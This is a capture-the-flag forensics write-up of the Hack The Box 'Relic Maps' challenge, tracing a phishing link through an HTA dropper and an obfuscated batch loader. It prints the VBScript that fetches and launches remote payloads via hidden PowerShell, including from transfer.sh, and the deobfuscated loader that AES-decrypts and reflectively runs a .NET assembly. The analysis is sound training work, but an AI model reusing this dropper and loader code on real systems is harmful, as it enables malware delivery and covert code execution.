Relic Maps walkthrough - Cyber Apocalypse 2023
- 1 Introduction
- 2 Resolving relicmaps.htb
- 3 First stage payload analysis
- 4 Second stage payload analysis - topsecret-maps.one
- 5 Second stage payload analysis - window.bat
- 6 Conclusion
→ 1 Introduction
I previously wrote about participating in the Hack The Box Cyber Apocalypse 2023 CTF (Capture the Flag) competition.
This walkthrough covers the Relic Maps challenge in the Forensics category, which was rated as having a ‘medium’ difficulty. This challenge involves the forensic analysis of a phishing email link.
Whilst I did not have time to complete the challenge during the live CTF event, I managed to complete it during the post-CTF “after party”, which was an additional three days during which the challenges were made available to be completed without scoring.
The description of the challenge is shown below. The key information from the description is that
- Pandora received a phishing email containing a link to http://relicmaps.htb:30518/relicmaps.one
- relicmaps.htb should resolve to your Docker instance
The key techniques employed in this walkthrough are:
- Identifying and extracting HTML embedded in a binary artifact
-
Manually analyzing a DOS batch file, including deobfuscation using
sed
andPython
- Decrypting an embedded payload using CyberChef
→ 2 Resolving relicmaps.htb
Locally, /etc/hosts
was edited with an additional line
to enable resolution of relicmaps.htb
to the Docker
instance at 139.59.176.230:30518
:
139.59.176.230:30518 relicmaps.htb
→ 3 First stage payload analysis
→ 3.1 Downloading http://relicmaps.htb:30518/relicmaps.one
The artifact was retrieved using curl, with Burp used as a proxy:
$ curl -s --proxy 127.0.0.1:8080 -o relicmaps.one http://relicmaps.htb:30518/relicmaps.one
→ 3.2 Recording the artifact hash
Before commencing any forensic analysis, it’s important to record a cryptographically strong hash of the artifact. This ensures verification can be performed to demonstrate that the artifact has not been contaminated since initial acquisition. Additionally, for malware analysis, the hash assists in uniquely identifying future instances. Although this step is rather unnecessary for a CTF, it is a good habit to form. To that end, the SHA256 hash of the challenge artifact was recorded:
$ shasum -a256 relicmaps.one
f3c4adedd58e9a2364454e28b77f61e08106dddc4e4a4027a5693eb31df4d60b relicmaps.one
→ 3.3 Basic artifact identification
The file
command could not identify the file type:
$ file relicmaps.one
relicmaps.one: data
However, the strings
command indicated the file
contained HTML. The sed
command was used to extract all
lines between DOCTYPE
and </html>
,
inclusive, into first-stage-payload.html
using the
following options:
-
-n
- suppress automatic printing of lines from window.bat
-
-E
- use extended regular expressions
-
-e '/DOCTYPE/,/<\/html>/p'
-
run the given script, which matches the range of lines between
DOCTYPE
and</html>
andp
rints them out
$ strings relicmaps.one |sed -n -E -e '/DOCTYPE/,/<\/html>/p' > first-stage-payload.html
→ 3.4 first-stage-payload.html analysis
The extracted HTML contains VBScript
. Line 40 calls the
AutoOpen
function which is defined on line 21. This
function ultimately executes the PowerShell
Invoke-WebRequest
function to download additional payload stages from the following
URLs:
-
http://relicmaps.htb/uploads/soft/topsecret-maps.one, saved as
tmp\tsmap.one
-
http://relicmaps.htb/get/DdAbds/window.bat, saved as
tmp\system32.bat
$ cat first-stage-payload.html
<!DOCTYPE html>
<html>
<head>
<HTA:APPLICATION icon="#" WINDOWSTATE="normal" SHOWINTASKBAR="no" SYSMENU="no" CAPTION="no" BORDER="none" SCROLL="no" />
<script type="text/vbscript">
' Exec process using WMI
Function WmiExec(cmdLine )
Dim objConfig
Dim objProcess
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = 0
Set objProcess = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
WmiExec = dukpatek(objProcess, objConfig, cmdLine)
End Function
Private Function dukpatek(myObjP , myObjC , myCmdL )
Dim procId
dukpatek = myObjP.Create(myCmdL, Null, myObjC, procId)
End Function
Sub AutoOpen()
ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/uploads/soft/topsecret-maps.one -OutFile $env:tmp\tsmap.one; Start-Process -Filepath $env:tmp\tsmap.one"
ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/get/DdAbds/window.bat -OutFile $env:tmp\system32.bat; Start-Process -Filepath $env:tmp\system32.bat"
End Sub
' Exec process using WScript.Shell (asynchronous)
Sub WscriptExec(cmdLine )
CreateObject("WScript.Shell").Run cmdLine, 0
End Sub
Sub ExecuteCmdAsync(targetPath )
On Error Resume Next
Err.Clear
wimResult = WmiExec(targetPath)
If Err.Number <> 0 Or wimResult <> 0 Then
Err.Clear
WscriptExec targetPath
End If
On Error Goto 0
End Sub
window.resizeTo 0,0
AutoOpen
Close
</script>
</head>
<body>
</body>
</html>"
→ 4 Second stage payload analysis - topsecret-maps.one
→ 4.1 Downloading http://relicmaps.htb/uploads/soft/topsecret-maps.one
Once again, the artifact was retrieved using curl:
$ curl -s --proxy 127.0.0.1:8080 -o topsecret-maps.one http://relicmaps.htb:30518/uploads/soft/topsecret-maps.one
→ 4.2 Recording the artifact hash
Once again, the artifact hash was recorded:
125e6b87940e78e597b7ded9f3aec4df8aa2a048979a94d99ff1489d2e7712fa topsecret-maps.one
→ 4.3 Basic artifact identification
Similar to relicmaps.one
, the file
command
was unable to identify the file type:
$ file topsecret-maps.one
topsecret-maps.one: data
However, once again, the strings
command indicated the
file contained HTML. The sed
command was used to extract
all lines between DOCTYPE
and </html>
,
inclusive, into topsecret-maps-embedded.html
:
$ strings topsecret-maps.one| sed -n -E -e '/DOCTYPE/,/<\/html>/p' > topsecret-maps-embedded.html
→ 4.4 topsecret-maps-embedded.html analysis
The extracted HTML contains VBScript
with the same
structure as the HTML from relicmaps.one
except this time
the additional stages downloaded are from the following URLs on lines
22-23:
- https://www.onenotegem.com/uploads/soft/one-templates/the_daily_schedule.one
- https://transfer.sh/get/DdAbds/window.bat
$ grep -A3 'Sub AutoOpen' workdir/topsecret-maps-embedded.html
Sub AutoOpen()
ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri https://www.onenotegem.com/uploads/soft/one-templates/the_daily_schedule.one -OutFile $env:tmp\invoice.one; Start-Process -Filepath $env:tmp\invoice.one"
ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri https://transfer.sh/get/DdAbds/window.bat -OutFile $env:tmp\system32.bat; Start-Process -Filepath $env:tmp\system32.bat"
End Sub
It should be noted that attempting to retrieve the URLs from the same Docker host was unsuccessful and the URLs proved irrelevant to the challenge.
→ 5 Second stage payload analysis - window.bat
→ 5.1 Downloading http://relicmaps.htb:30518/get/DdAbds/window.bat
Once again, the artifact was retrieved using curl:
$ curl -s --proxy 127.0.0.1:8080 -o window.bat http://relicmaps.htb:30518/get/DdAbds/window.bat
→ 5.2 Recording the artifact hash
Once again, the artifact hash was recorded:
$ shasum -a256 window.bat
29dad475c4794aaba72f304c0a77f0646a42c30c05ba89d3283c9bb6ac1ac448 window.bat
→ 5.3 Basic artifact identification
file
was able to identify window.bat
as a
DOS
batch file.
$ file window.bat
window.bat: DOS batch file, ASCII text, with very long lines (4463), with CRLF line terminators
However, the contents of the file was obfuscated, as illustrated by the first 10 lines shown below:
$ head window.bat
@echo off
set "eFlP=set "
%eFlP%"ualBOGvshk=ws"
%eFlP%"PxzdwcSExs= /"
%eFlP%"ndjtYQuanY=po"
%eFlP%"cHFmSnCqnE=Wi"
%eFlP%"CJnGNBkyYp=co"
%eFlP%"jaXcJXQMrV=rS"
%eFlP%"nwIWiBzpbz=:\"
%eFlP%"xprVJLooVF=Po"
→ 5.4 Deobfuscating window.bat
The approach taken to deobfuscate window.bat
was to
convert the file to Python code that will print out the commands that
would have been run. This can be semi-automated with the help of the
sed
command to process each sequence of lines.
5.4.1 Commenting out Lines 1-2
The first line of window.bat
simply disables
echoing of commands, whilst the second line aliases the variable
eFlP
to the set
command. Thus, these lines can
be commented out using a sed
script which operates only on
lines 1-2, substitutes the start of lines with the Python comment
character ‘#’ and prints the resulting lines for each successful
substitution.
$ sed -n -e '1,2s/^/#/p' window.bat
#@echo off
#set "eFlP=set "
5.4.2 Defining variable assignments on lines 3-38
Lines 3-38 define variables using the aliased eFlP=set
command that we have commented out above:
$ sed -n -e '3,38p' window.bat
%eFlP%"ualBOGvshk=ws"
%eFlP%"PxzdwcSExs= /"
%eFlP%"ndjtYQuanY=po"
%eFlP%"cHFmSnCqnE=Wi"
%eFlP%"CJnGNBkyYp=co"
%eFlP%"jaXcJXQMrV=rS"
%eFlP%"nwIWiBzpbz=:\"
%eFlP%"xprVJLooVF=Po"
%eFlP%"tzMKflzfvX=0\"
<snip/>
These lines can be converted to Python variable assignments using
sed
by building up the script in multiple steps:
-
Operate on the address range, lines 3-38, substitute
%eFlP%"
with the empty string on each line, then print the line$ sed -n -E -e '3,38{s/%eFlP%"//;p}' window.bat ualBOGvshk=ws" PxzdwcSExs= /" ndjtYQuanY=po" cHFmSnCqnE=Wi" CJnGNBkyYp=co" jaXcJXQMrV=rS" nwIWiBzpbz=:\" xprVJLooVF=Po" tzMKflzfvX=0\" <snip/>
-
Additionally escape backslash characters
$ sed -n -E -e '3,38{s/%eFlP%"//;s/\\/\\\\/g;p}' window.bat ualBOGvshk=ws" PxzdwcSExs= /" ndjtYQuanY=po" cHFmSnCqnE=Wi" CJnGNBkyYp=co" jaXcJXQMrV=rS" nwIWiBzpbz=:\\" xprVJLooVF=Po" tzMKflzfvX=0\\" <snip/>
-
Additionally surround each variable value with a single quote, and remove the trailing double quote. This time, the additional command is specified using a piped
sed
command to make the nested quotes easier to specify$ sed -n -E -e '3,38{s/%eFlP%"//;s/\\/\\\\/g;p}' window.bat|sed -E -e "s/(.*)=(.*)\"/\1='\2'/" ualBOGvshk='ws' PxzdwcSExs=' /' ndjtYQuanY='po' cHFmSnCqnE='Wi' CJnGNBkyYp='co' jaXcJXQMrV='rS' nwIWiBzpbz=':\\' xprVJLooVF='Po' tzMKflzfvX='0\\' <snip/>
5.4.3 Commenting out line 39
Similar to line 2, line 39 aliases VhIy
to the
set
command. Thus, this line can also be commented out:
$ sed -n -E -e '39s/^/#/p' window.bat
#set "VhIy=set "
5.4.4 Defining variable assignments on lines 40-41
The sed script for lines 40-41 is the same as for lines 3-38, except
that the %VhIy%"
alias is removed
$ sed -n -E -e '40,41{s/%VhIy%"//;s/\\/\\\\/g;p}' window.bat|sed -E -e "s/(.*)=(.*)\"/\1='\2'/"
dzPrbmmccE='cd'
xQseEVnPet=' "%~dp0"'
5.4.5 Commenting out line 42
In a now familiar pattern, line 42 aliases eUFw
to the
set
command and can also be commented out:
$ sed -n -E -e '42s/^/#/p' window.bat
#set "eUFw=set "
5.4.6 Defining variable assignments on lines 43-107
The variable assignments on lines 43-107 are similar to the ones on lines 3-38 except for some tweaking
-
Removing the
%eUFw%"
string and escaping backslashes is similar to before. However, the results contain a couple of complications. Namely, some variable values contain a single quote character and an equals character, such as the variablesVavtsuhNIN
andAHKCuBAkui
, respectively. The next steps will deal with these.$ sed -n -E -e '43,107{s/%eUFw%"//;s/\\/\\\\/g;p}' window.bat wxzMwkmbmY=gDBN" VavtsuhNIN=F'[-" AHKCuBAkui=r = " <snip/>
-
Additionally escape single quote characters. This time, the additional command is specified using a piped
sed
command to make the nested quotes easier to specify$ sed -n -E -e '43,107{s/%eUFw%"//;s/\\/\\\\/g;p}' window.bat | sed -E -e "s/'/\\\\'/g" wxzMwkmbmY=gDBN" VavtsuhNIN=F\'[-" AHKCuBAkui=r = " <snip/>
-
Unfortunately, the presence of equals characters in the variable values is too much for
sed
, assed
does not support the non-greedy regex quantifiers which Perl does. This means the previous substitution ofs/(.*)=(.*)\"/\1='\2'/
will match on the last equals sign in a line, which would be in the variable value itself. The result is incorrect syntax for a Python variable assignment, as can be seen in theAHKCuBAkui
variable in the following snippet:$ sed -n -E -e '43,107{s/%eUFw%"//;s/\\/\\\\/g;p}' window.bat | sed -E -e "s/'/\\\\'/g" | sed -E -e "s/(.*)=(.*)\"/\1='\2'/" wxzMwkmbmY='gDBN' VavtsuhNIN='F\'[-' AHKCuBAkui=r =' ' <snip/>
Fortunately,
perl
can be run with a pattern matching loop similar tosed
via the-p
option and a substitution command very similar tosed
via the-e
option. The non-greedy quantifier in(.*?)=
will match up to the first equals sign, producing the correct results:$ sed -n -E -e '43,107{s/%eUFw%"//;s/\\/\\\\/g;p}' window.bat | sed -E -e "s/'/\\\\'/g" | perl -pe "s/(.*?)=(.*)\"/\1='\2'/" wxzMwkmbmY='gDBN' VavtsuhNIN='F\'[-' AHKCuBAkui='r = ' <snip/>
5.4.7 Commenting out line 108
Line 108 contains a commented out base64 encoded value. For now, this can be converted to a Python comment. The purpose of this comment will become apparent later in the walkthrough.
$ sed -n -E -e '108{s/^/#/;p}' window.bat
#:: SEWD/RSJz4q93dq1c+u3tVcKPbLfn1fTrwl01pkHX3+NzcJ42N+ZgqbF+h+S76xsuroW3DDJ50IxTV/ <snip/>
5.4.8 Defining variable assignments on lines 109-371
Lines 109-371 contain more variable assignments using the same
eUFw
alias as before. Thus, the same code but with a
different range can be used
$ sed -n -E -e '109,371{s/%eUFw%"//;s/\\/\\\\/g;p}' window.bat | sed -E -e "s/'/\\\\'/g" | perl -pe "s/(.*?)=(.*)\"/\1='\2'/"
YYKSCuCbgJ='New-'
YnGvhgYxvb='cm ='
vnHosfjdeN=';$Pt'
<snip/>
5.4.9 Converting line 372 to a Python print statement
Line 372 appears to be built up entirely from variables:
$ sed -n 372p window.bat
%CJnGNBkyYp%%UBndSzFkbH%%ujJtlzSIGW%%nwIWiBzpbz%%cHFmSnCqnE%%kTEDvsZUvn%%JBRccySrUq%%ZqjBENExAX%%XBucLtReBQ%%BFTOQBPCju%%vlwWETKcZH%%NCtxqhhPqI%%GOPdPuwuLd%%YcnfCLfyyS%%JPfTcZlwxJ%%ualBOGvshk%%xprVJLooVF%%cIqyYRJWbQ%%jaXcJXQMrV%%pMrovuxjjq%%KXASGLJNCX%%XzrrbwrpmM%%VCWZpprcdE%%tzMKflzfvX%%ndjtYQuanY%%chXxviaBCr%%tHJYExMHlP%%WmUoySsDby%%UrPeBlCopW%%lYCdEGtlPA%%eNOycQnIZD%%PxzdwcSExs%%VxroDYJQKR%%zhNAugCrcK%%XUpMhOyyHB%%OOOxFGwzUd%
The variable references can be converted to Python f-string variable references, once again taking advantage of Perl’s non-greedy quantifier support:
$ sed -n -E -e '372p' window.bat |perl -pe "s/%(.*?)%/{\1}/g"
{CJnGNBkyYp}{UBndSzFkbH}{ujJtlzSIGW}{nwIWiBzpbz}{cHFmSnCqnE}{kTEDvsZUvn}{JBRccySrUq}{ZqjBENExAX}{XBucLtReBQ}{BFTOQBPCju}{vlwWETKcZH}{NCtxqhhPqI}{GOPdPuwuLd}{YcnfCLfyyS}{JPfTcZlwxJ}{ualBOGvshk}{xprVJLooVF}{cIqyYRJWbQ}{jaXcJXQMrV}{pMrovuxjjq}{KXASGLJNCX}{XzrrbwrpmM}{VCWZpprcdE}{tzMKflzfvX}{ndjtYQuanY}{chXxviaBCr}{tHJYExMHlP}{WmUoySsDby}{UrPeBlCopW}{lYCdEGtlPA}{eNOycQnIZD}{PxzdwcSExs}{VxroDYJQKR}{zhNAugCrcK}{XUpMhOyyHB}{OOOxFGwzUd}
Then the entire line can be converted to a print statement:
$ sed -n -E -e '372p' window.bat |perl -pe "s/%(.*?)%/{\1}/g"|perl -pe 's/(.+)\r$/print(f"\1")/'
print(f"{CJnGNBkyYp}{UBndSzFkbH}{ujJtlzSIGW}{nwIWiBzpbz}{cHFmSnCqnE}{kTEDvsZUvn}{JBRccySrUq}{ZqjBENExAX}{XBucLtReBQ}{BFTOQBPCju}{vlwWETKcZH}{NCtxqhhPqI}{GOPdPuwuLd}{YcnfCLfyyS}{JPfTcZlwxJ}{ualBOGvshk}{xprVJLooVF}{cIqyYRJWbQ}{jaXcJXQMrV}{pMrovuxjjq}{KXASGLJNCX}{XzrrbwrpmM}{VCWZpprcdE}{tzMKflzfvX}{ndjtYQuanY}{chXxviaBCr}{tHJYExMHlP}{WmUoySsDby}{UrPeBlCopW}{lYCdEGtlPA}{eNOycQnIZD}{PxzdwcSExs}{VxroDYJQKR}{zhNAugCrcK}{XUpMhOyyHB}{OOOxFGwzUd}")
5.4.10 Commenting out line 373
Line 373 simply contains a cls
command to clear the
screen and can be commented out
$ sed -n -E -e '373s/^/#/p' window.bat
#cls
5.4.11 Converting lines 374-375 to Python print statements
Lines 374-375 can be converted similarly to line 372:
-
Line 374
$ sed -n -E -e '374p' window.bat |perl -pe "s/%(.*?)%/{\1}/g"|perl -pe 's/(.+)\r$/print(f"\1")/' print(f"{dzPrbmmccE}{xQseEVnPet}")
-
Line 375
$ sed -n -E -e '375p' window.bat |perl -pe "s/%(.*?)%/{\1}/g"|perl -pe 's/(.+)\r$/print(f"\1")/' print(f"{eDhTebXJLa}{vShQyqnqqU}{KsuJogdoiJ}{uVLEiIUjzw}{SJsEzuInUY} <snip/> {PjdRUyhsyG}{kpzxAxFvLw}{rddZbDFvhl}")
5.4.12 Putting it altogether
Putting all the commands into
window-bat-deobfuscator-generator.sh
results in a script
that will generate a Python script for deobfuscating
window.bat
:
$ cat window-bat-deobfuscator-generator.sh
sed -n -e '1,2s/^/#/p' window.bat
sed -n -E -e '3,38{s/%eFlP%"//;s/\\/\\\\/g;p}' window.bat|sed -E -e "s/(.*)=(.*)\"/\1='\2'/"
sed -n -E -e '39s/^/#/p' window.bat
sed -n -E -e '40,41{s/%VhIy%"//;s/\\/\\\\/g;p}' window.bat|sed -E -e "s/(.*)=(.*)\"/\1='\2'/"
sed -n -E -e '42s/^/#/p' window.bat
sed -n -E -e '43,107{s/%eUFw%"//;s/\\/\\\\/g;p}' window.bat | sed -E -e "s/'/\\\\'/g" | perl -pe "s/(.*?)=(.*)\"/\1='\2'/"
sed -n -E -e '108{s/^/#/;p}' window.bat
sed -n -E -e '109,371{s/%eUFw%"//;s/\\/\\\\/g;p}' window.bat | sed -E -e "s/'/\\\\'/g" | perl -pe "s/(.*?)=(.*)\"/\1='\2'/"
sed -n -E -e '372p' window.bat |perl -pe "s/%(.*?)%/{\1}/g"|perl -pe 's/(.+)\r$/print(f"\1")/'
sed -n -E -e '373s/^/#/p' window.bat
sed -n -E -e '374p' window.bat |perl -pe "s/%(.*?)%/{\1}/g"|perl -pe 's/(.+)\r$/print(f"\1")/'
sed -n -E -e '375p' window.bat |perl -pe "s/%(.*?)%/{\1}/g"|perl -pe 's/(.+)\r$/print(f"\1")/'
window-bat-deobfuscator.py
can be generated as follows,
using sed to remove Windows carriage return line endings:
bash window-bat-deobfuscator-generator.sh |sed -e 's/\r$//' > window-bat-deobfuscator.py
window-bat-deobfuscator.py
was then executed to produce
a deobfuscated DOS batch file:
$ python3 window-bat-deobfuscator.py |tee window-deobfuscated.txt
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "%~0.exe"
cd "%~dp0"
"%~nx0.exe" -noprofile -windowstyle hidden -ep bypass -command $eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine);foreach ($YiLGW in $eIfqq) { if ($YiLGW.StartsWith(':: ')) { $VuGcO = $YiLGW.Substring(3); break; }; };$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);$BacUA = New-Object System.Security.Cryptography.AesManaged;$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');$Nlgap = $BacUA.CreateDecryptor();$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);$Nlgap.Dispose();$BacUA.Dispose();$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);$bTMLk = New-Object System.IO.MemoryStream;$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);$NVPbn.CopyTo($bTMLk);$NVPbn.Dispose();$mNKMr.Dispose();$bTMLk.Dispose();$uZOcm = $bTMLk.ToArray();$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);$PtfdQ = $gDBNO.EntryPoint;$PtfdQ.Invoke($null, (, [string[]] ('%*')))
5.4.13 Pretty formatting
The deobfuscated DOS batch file was manually reformatted and commented, albeit the reformatting was for documentation purposes only and technically breaks the syntax. In summary, the code does the following:
- decodes the base64 encoded value from the comment on line 108 in the obfuscated batch file
-
decrypts the result using
AES-CBC
withPKCS7
padding - decompresses the resulting gzipped value
-
loads the result as a
.NET
assembly - executes the assembly entry point.
# copies powershell to system32.exe
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "%~0.exe"
# cd to the current system32.bat directory, recalling that system32.bat is actually window.bat
cd "%~dp0"
# run powershell with command
"%~nx0.exe" -noprofile -windowstyle hidden -ep bypass -command
# read all lines from system32.bat (ie. window.bat)
$eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine);
# loop through the lines. If the line starts with ::, assign the rest of the line to $VuGcO.
# ie. This extracts the base64 encoded value from the comment on line 108 in
# the obfuscated file.
foreach ($YiLGW in $eIfqq) { if ($YiLGW.StartsWith(':: ')) { $VuGcO = $YiLGW.Substring(3);
break;
};
};
# base64 decode $VuGcO
$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);
# instantiate AES decryptor in CBC mode, PKCS7 padding,
# key, base64: 0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=
# IV, base64: 2hn/J717js1MwdbbqMn7Lw==
$BacUA = New-Object System.Security.Cryptography.AesManaged;
$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');
$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');
# decrypt
$Nlgap = $BacUA.CreateDecryptor();
$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);
$Nlgap.Dispose();
$BacUA.Dispose();
$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);
$bTMLk = New-Object System.IO.MemoryStream;
# gunzip
$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);
$NVPbn.CopyTo($bTMLk);
$NVPbn.Dispose();
$mNKMr.Dispose();
$bTMLk.Dispose();
# load as .NET assembly
$uZOcm = $bTMLk.ToArray();
$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);
# invoke the assembly entry point
$PtfdQ = $gDBNO.EntryPoint;
$PtfdQ.Invoke($null, (, [string[]] ('%*')))
→ 5.5 Decrypting the embedded .NET assembly
→ 5.5.1 Extracting the encrypted assembly
A one liner was used to base64 decode the .NET assembly from the original batch file:
$ sed -n -e '108p' window.bat |tail -c +4 |sed -e 's/\r//'| base64 -d > aes-encrypted-dot-net-assembly.bin
→ 5.5.2 Analyzing the AES key
The AES key length was determined to be 256 bits long using the command below, where:
-
The
-n
option passed toecho
ensures no trailing newline is added -
base64 -d
decodes the value using base64 encoding -
xxd -p -c0
encodes the value as a plain hex value, with no line length limit -
tr -d '\n'
removes the trailing newline output byxxd
-
wc -c
counts the number of characters - The result is 64 hex characters, which equates to 32 bytes, or 256 bits. Thus, AES-256 is being used.
$ echo -n '0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=' |base64 -d |xxd -p -c0|tr -d '\n' |wc -c
64
→ 5.5.3 Converting the IV to hex
The IV (initialization vector) was converted to hex:
$ echo -n '2hn/J717js1MwdbbqMn7Lw==' |base64 -d |xxd -p -c0
da19ff27bd7b8ecd4cc1d6dba8c9fb2f
→ 5.5.4 Using CyberChef to decrypt the gzipped assembly
CyberChef was used to
decrypt the gzipped assembly using AES-CBC
and the hex key
and IV from above:
The resulting file was gunzipped and identified as a
PE32 .NET
assembly:
$ gunzip dot-net-assembly.bin.gz
$ file dot-net-assembly.bin
dot-net-assembly.bin: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
→ 5.6 Obtaining the flag
The flag was present as a string in the assembly, where the
-e l
option was passed to the strings
command
in order to specify 16-bit littleendian strings which Windows uses by
default:
$ strings -e l dot-net-assembly.bin |head -1
HTB{0n...REDACTED...P!}
→ 6 Conclusion
The flag was submitted and the challenge was marked as pwned